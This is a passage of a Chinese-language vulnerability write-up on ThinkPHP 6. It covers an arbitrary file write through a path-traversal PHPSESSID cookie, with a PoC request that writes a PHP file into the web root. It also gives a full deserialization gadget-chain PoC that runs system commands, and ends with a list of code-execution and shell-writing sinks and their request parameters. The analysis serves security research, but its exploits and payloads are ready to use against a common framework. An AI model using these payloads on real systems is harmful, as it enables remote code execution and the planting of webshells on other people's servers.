        if ($this->config['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        return $this->writeFile($filename, $data);
    }

跟进getFileName 查看文件名生成规则,

image-20230707111534094

简而言之,就是

日志路径/文件名
文件名 = sess_  + PHPSSID的值

image-20230707111754581

返回后,获取$data, 这个$data是序列化后的session值

image-20230707111921264

然后将这两个值传给writeFile方法

image-20230707112027859

跟进

protected function writeFile($path, $content): bool
 {
    return (bool) file_put_contents($path, $content, LOCK_EX);
}

这里是调用了file_put_contents 进行文件写入

$path, $content都是可以控制的, $content就是序列化后session的内容,$path就是sess_ + PHPSSID的值

$path这里可以通过目录穿越写入任意文件,但是需要满足setId的检查,长度必须要32位

public function setId($id = null): void
    {
        $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
    }

所以构造POC如下:

http://127.0.0.1/?demo=<?php phpinfo();?>

Cookie: PHPSESSID=/../../../public/11111111111.php

image-20230707113517298

image-20230707113531457image-20230707113610880

反序列 (6.0.15)

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $u = unserialize($_GET['c']);
        return 'ThinkPHP V6.x';
    }

}

全局搜索__destruct(),发现TP6移除了TP5反序列化中的think/process/pipes/Windows.php入口

image-20230707141236993

尝试寻找其他入口,查看vendor/topthink/think-orm/src/Model.php这个

public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }

这个$this->lazySave可控,可以进入$this->save()

跟进save()

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->get      = [];
        $this->lazySave = false;

        return true;
    }

这可以控制$this->exists使得函数调用$this->updateData()

跟进$this->updateData()

image-20230707144819630

跟进checkAllowFields()

image-20230707165249733

跟进db()

image-20230707165321713

这里存在一个字符串拼接可以触发任意类的__toString

这里后面就可以使用TP5.1.x后半段的链子了

全局搜索__toString 找到vendor/topthink/think-orm/src/model/concern/Conversion.php

public function __toString()
    {
        return $this->toJson();
    }

跟进toJson()

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

跟进toArray()

image-20230707165504741

这个方法里面调用 了getAtter

跟进:

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

最后调用了getValue

跟进

image-20230707165728185

这个$closure是可控的,可以用来调用任意函数比如system(),其参数$value,是由上一层传来的参数控制,也可控

链子到这里结束

POC:

<?php
namespace think;
abstract class Model
{
    private $lazySave;
    protected $suffix;
    private $data;
    private $withAttr;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->suffix =$obj;
        $this->withAttr=['b'=>'system'];
        $this->data=['b'=>'calc'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));

image-20230707170252876

写在后面:

上面最后执行的方法在:

vendor/topthink/think-orm/src/model/concern/Attribute.php

在TP6后这里已经修复了:

image-20230707171052318

总结

反序列化__destruct入口就那4-5个,常用的是这两个think/process/pipes/Windows.phpthinkphp/library/think/Process.php

上面提到的几条利用链,可以小记一下,但是vendor/topthink/think-orm/src/model/concern/Attribute.phpgetValue方法在TP6里面不能用了,需要寻找其他利用方法

Request.php中很多方法调用了filterValue,而该方法中就存在可利用的 call_user_func函数,反序列化结尾的利用可以考虑这里

php能代码执行的函数

//App.php
//传参 :call_user_func_array&vars[0]=system&vars[1][]=calc
public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }
//think/Request.php
//传参: filter[]=system&data=calc
public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }
//think/view/driver/Php.php
//传参: content=<?php phpinfo();?>
public function display($content, $data = [])
    {
        $this->content = $content;

        extract($data, EXTR_OVERWRITE);
        eval('?>' . $this->content);
    }

写shell:

//think/template/driver/File.php
//传参: cacheFile=shell.php&content=<?php phpinfo();?>
public function write($cacheFile, $content)
    {
        // 检测模板目录
        $dir = dirname($cacheFile);

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        // 生成模板缓存文件
        if (false === file_put_contents($cacheFile, $content)) {
            throw new Exception('cache write error:' . $cacheFile, 11602);
        }
    }